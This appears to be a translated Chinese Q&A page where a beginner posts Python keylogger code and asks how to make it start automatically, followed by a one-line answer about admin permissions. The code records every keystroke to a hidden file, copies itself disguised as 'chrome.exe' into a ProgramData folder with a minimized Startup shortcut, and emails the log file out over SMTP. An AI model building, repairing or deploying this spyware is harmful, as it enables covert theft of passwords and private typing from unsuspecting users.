我是编码新手,我需要一些帮助。 我使用谷歌的例子制作了简单的“键盘记录器”。一切都运作良好,但我不知道,如何自动添加键盘记录器自动启动。我首先使用管理员权限运行自动复制文件到选定目标,然后将快捷方式发送到自动启动。但问题是,每次我重新启动计算机时,它都需要管理员权限,所以我只能获得警报,关于启动脚本失败,以及此时脚本崩溃。我认为这是因为,每次脚本尝试将文件添加到自动启动,即使已经存在。这是代码,你可以看到,我试过ifexcept块,但它仍然没有像我想要的那样工作:(
import logging
from pynput.keyboard import Key, Listener
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import win32com.client
import pythoncom
import os
import pathlib
pathlib.Path('C:\ProgramData\degid').mkdir(parents=True, exist_ok=True)
pathlib.Path('C:\ProgramData\degid\degid.txt').touch(mode=0o666, exist_ok=True)
import shutil
srcfile = 'chrome.exe'
dstroot = 'C:\ProgramData\degid'
dstdir = os.path.join(dstroot, os.path.dirname(srcfile))
shutil.copy(srcfile, dstdir)
filePath = 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup'
if os.path.exists(filePath):
if os.path.isfile(filePath+'chrome.lnk')==False:
try:
desktop = r'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup'
path = os.path.join(desktop, 'chrome.lnk')
target = r'C:\ProgramData\degid\chrome.exe'
shell = win32com.client.Dispatch("WScript.Shell")
shortcut = shell.CreateShortCut(path)
shortcut.Targetpath = target
shortcut.WindowStyle = 7 # 7 - Minimized, 3 - Maximized, 1 - Normal
shortcut.save()
except:
pass
email_user = ''
email_password = ''
email_send = ''
subject = ''
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Hi there'
msg.attach(MIMEText(body,'plain'))
filename='C:\ProgramData\degid\degid.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('', 587)
server.starttls()
server.login(email_user,email_password)
server.sendmail(email_user,email_send,text)
server.quit()
log_dir =""
logging.basicConfig(filename=(log_dir+'C:\ProgramData\degid\degid.txt'), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
答案 0 :(得分:0)
您正在访问目录并尝试查看是否存在需要管理员才能访问的文件 - 即使是读取目录也是如此。